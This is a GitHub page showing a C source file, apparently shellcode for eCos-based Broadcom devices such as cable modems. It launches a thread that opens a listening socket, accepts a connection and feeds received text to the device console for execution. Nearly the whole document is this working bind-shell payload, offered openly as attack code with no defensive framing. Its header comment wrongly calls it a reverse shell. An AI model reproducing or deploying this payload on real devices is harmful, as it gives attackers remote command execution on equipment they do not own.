-
Notifications
You must be signed in to change notification settings - Fork 2
/
bindshell_thread.c
141 lines (128 loc) · 4.24 KB
/
bindshell_thread.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#include "external.h"
#include "payload.h"
/**
* This is the most basic reverse shell example I could come up with.
*
*/
#define PAYLOAD_PRIORITY 23
#define PAYLOAD_STACKSIZE 0x2000
#define COMMAND_OFFSET 0x1080
int __start(unsigned long ip_address, unsigned short port)
{
// create remote host sockaddr structure with received IP and port as command line
// parameters
struct sockaddr_in host;
host.sin_family = AF_INET;
host.sin_port = port;
host.sin_addr.s_addr = ip_address;
// NOTE: there is an open question regarding the dynamic allocation
// of a thread object and corresponding stack on the heap.
//
// Usually, these are defined statically with 'static' keyword and allocation
// is somewhere fixed.
//
// However, if we do that we cannot generate a proper shellcode due to bss size
// restrictions so we use the heap, which may or may not reposess that memory.
// So far it worked pretty well.
int payload_handle;
// allocate thread stack memory
char* payload_stack = malloc(PAYLOAD_STACKSIZE * sizeof(char));
// allocate thread object
//cyg_thread* payload_thread = malloc(sizeof(payload_thread));
static cyg_thread payload_thread;
// create thread
cyg_thread_create(
PAYLOAD_PRIORITY,
&payload,
&host,
"payload",
payload_stack,
PAYLOAD_STACKSIZE,
&payload_handle,
&payload_thread
);
// launch thread
cyg_thread_resume(payload_handle);
// this sleep call is required otherwise the host struct
// is reclaimed, and the structure is messed up when
// our thread calls connect().
sleep(5);
host.sin_port = port;
return 0;
}
int payload(struct sockaddr_in* host){
int sockfd;
int recvd;
int client_sockfd;
int new_addrlen;
struct sockaddr_in client_addr;
char addrbuf[16];
inet_ntop4(&host->sin_addr, addrbuf, sizeof(addrbuf));
printf("[+] Launching bind shell on %s:%d\n", addrbuf, host->sin_port);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("[!] socket error - %s\n", strerror(errno));
}
// without sleep, the sockfd does not work for some reason
sleep(2);
if (bind(sockfd, host, 0x2020) != 0) {
printf("[!] bind error - %s\n", strerror(errno));
return -1;
}
printf("[+] bind successful\n");
if (listen(sockfd, 0) < 0) {
printf("[!] listen error - %s\n", strerror(errno));
return -1;
}
printf("[+] listen successful");
for(;;){
new_addrlen = sizeof(client_addr);
client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &new_addrlen);
if(client_sockfd < 0){
printf("[!] accept error - %s\n", strerror(errno));
return -1;
}
void *buffer = malloc(0x100);
if(buffer == NULL){
printf("[!] Error when allocating buffer.\n");
return -1;
}
void *console_instance = BcmConsoleGetSingletonInstance();
int *fp = (int*)cyg_fp_get(client_sockfd);
cyg_fd_assign(0x1, fp);
cyg_fp_free(fp);
while (1)
{
bzero(buffer, 0x100);
recvd = recv(client_sockfd, buffer, 0x100, 0x0);
if (recvd > 0) {
char *command_buffer = ((char *)console_instance);
command_buffer += COMMAND_OFFSET;
strcpy(command_buffer, buffer);
if(strncmp("exit", buffer, 4) == 0) {
break;
}
command_buffer[recvd+1] = 0x0;
BcmConsoleExecuteCurrentCommand(console_instance);
}
else{
// -1 is error; 0 is disconnected
break;
}
}
close(client_sockfd);
//free up shit
free(buffer);
break;
}
printf("[+] Quitting. Reassigning console.\n");
int* fp = (int*)cyg_fp_get(2);
cyg_fd_assign(0x01, fp);
cyg_fp_free(fp);
close(sockfd);
//exiting the thread deallocate everything related
//to the thread but the OS keeps metadata about it
//so it will still be visible when calling 'taskShow',
//with status set to 'EXIT'
cyg_thread_exit();
return 0;
}